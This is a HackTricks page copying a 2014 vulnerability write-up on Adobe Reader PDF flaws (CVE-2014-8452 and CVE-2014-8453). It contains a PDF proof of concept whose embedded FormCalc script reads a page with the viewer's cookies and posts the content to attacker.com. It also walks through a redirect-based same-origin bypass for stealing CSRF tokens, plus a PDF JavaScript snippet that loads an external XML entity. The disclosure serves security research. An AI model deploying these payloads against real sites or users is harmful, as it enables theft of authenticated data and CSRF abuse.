mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 12:33:39 +00:00
169 lines
7.1 KiB
Markdown
169 lines
7.1 KiB
Markdown
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
|
|
### Content copied from [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)
|
|
|
|
## Javascript function in Reader can be used to read data from external entities (CVE-2014-8452)
|
|
|
|
Status: Fixed\
|
|
Reality: Not Fixed\
|
|
\
|
|
This one is about a simple XXE I discovered.\
|
|
I read the paper "Polyglots: Crossing Origins by Crossing Formats", where they discussed a vulnerability in\
|
|
XMLData.parse. It was possible to use external entities and reference them.\
|
|
I read the specification and it turns out there are more functions than "parse" to read XML.\
|
|
I created a simple xml file, which references an url from the same domain and parsed it with loadXML.\
|
|
It worked:
|
|
|
|
|
|
|
|
```
|
|
7 0 obj
|
|
<<
|
|
/Type /Action
|
|
/S /JavaScript
|
|
/JS (
|
|
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
|
|
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
|
|
xml = XMLData.parse(cXMLDoc,false);
|
|
xml.loadXML(cXMLDoc2,false,true);
|
|
)
|
|
>>
|
|
endobj
|
|
```
|
|
|
|
\
|
|
The Impact is limited because\
|
|
o) it is limited to same origin\
|
|
o) HTML Pages break the xml\
|
|
o) Dynamic Entities are not supported\
|
|
o) I had the idea to use a utf-16 xml to avoid breaking the xml structure, but I it didn't work.\
|
|
\
|
|
But it still can be used to read JSON.
|
|
|
|
## Same origin policy bypass in Reader (CVE-2014-8453)
|
|
|
|
Status: fixed\
|
|
Reality: fixed but same origin still vulnerable!\
|
|
\
|
|
In my opinion this is the most powerful vulnerability. Even without the Origin Bypass it shows you\
|
|
how powerful/terrifying PDF can be.\
|
|
Many people know that PDF supports a scripting language called Javascript but there is another one.\
|
|
It is mentioned in the specification for XFA, a file type also supported by the adobe reader.\
|
|
It is called formcalc and it not that powerful. It is used for simple math calculation. But in the adobe specification\
|
|
there are three additional functions: 'GET','POST' and 'PUT'. Yes, their names speak for themselves.\
|
|
'GET' has one parameter: an url. It will use the browser (YEAH COOKIES) to retrieve the url and return the content of it.\
|
|
We can then use 'POST' to send the return content to our own server:\
|
|
\
|
|
var content = GET("myfriends.php");\
|
|
Post("http://attacker.com",content);\
|
|
\
|
|
These functions are same origin, so a website needs to allow us to upload a PDF. Thats not that unrealistic for\
|
|
most websites. Attacker.com is not same origin, so you need to setup a crossdomain.xml, as usual with Adobe products.\
|
|
\
|
|
To sum up: This is not a bug, this is a feature. As soon as you are allowed to upload a PDF on a website,\
|
|
you can access the website in the context of the user, who is viewing the PDF. Because the requests are issued\
|
|
by the browser, cookies are sent too. You can also use it to break any CSRF Protection by reading the tokens.
|
|
|
|
```
|
|
% a PDF file using an XFA
|
|
% most whitespace can be removed (truncated to 570 bytes or so...)
|
|
% Ange Albertini BSD Licence 2012
|
|
|
|
% modified by insertscript
|
|
|
|
%PDF-1. % can be truncated to %PDF-\0
|
|
|
|
1 0 obj <<>>
|
|
stream
|
|
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
|
|
<config><present><pdf>
|
|
<interactive>1</interactive>
|
|
</pdf></present></config>
|
|
<template>
|
|
<subform name="_">
|
|
<pageSet/>
|
|
<field id="Hello World!">
|
|
<event activity="initialize">
|
|
<script contentType='application/x-formcalc'>
|
|
var content = GET("myfriends.php");
|
|
Post("http://attacker.com",content);
|
|
</script>
|
|
</event>
|
|
</field>
|
|
</subform>
|
|
</template>
|
|
</xdp:xdp>
|
|
endstream
|
|
endobj
|
|
|
|
trailer <<
|
|
/Root <<
|
|
/AcroForm <<
|
|
/Fields [<<
|
|
/T (0)
|
|
/Kids [<<
|
|
/Subtype /Widget
|
|
/Rect []
|
|
/T ()
|
|
/FT /Btn
|
|
>>]
|
|
>>]
|
|
/XFA 1 0 R
|
|
>>
|
|
/Pages <<>>
|
|
>>
|
|
>>
|
|
|
|
```
|
|
|
|
\
|
|
After I found these functions, I found a same origin policy bypass. This makes it possible to use a victim browser\
|
|
as a proxy (@beef still working on the module^^)\
|
|
\
|
|
The bypass is really simple:\
|
|
\
|
|
1\. User A loads evil.pdf from http://attacker.com/evil.pdf\
|
|
2\. Evil.pdf uses formcalc GET to read http://attacker.com/redirect.php\
|
|
3\. redirect.php redirects with 301 to http://facebook.com\
|
|
4\. Adobe reader will follow and read the response without looking for a crossdomain.xml.\
|
|
5\. evil.pdf sends the content retrieved via POST to http://attacker.com/log.php
|
|
|
|
Note that using this technique you can steal the CRSF tokens of a page and abuse CSRF vulns.
|
|
|
|
This simple bypass is fixed now. I hope they going to implement a dialog warning for same origin requests too.
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
|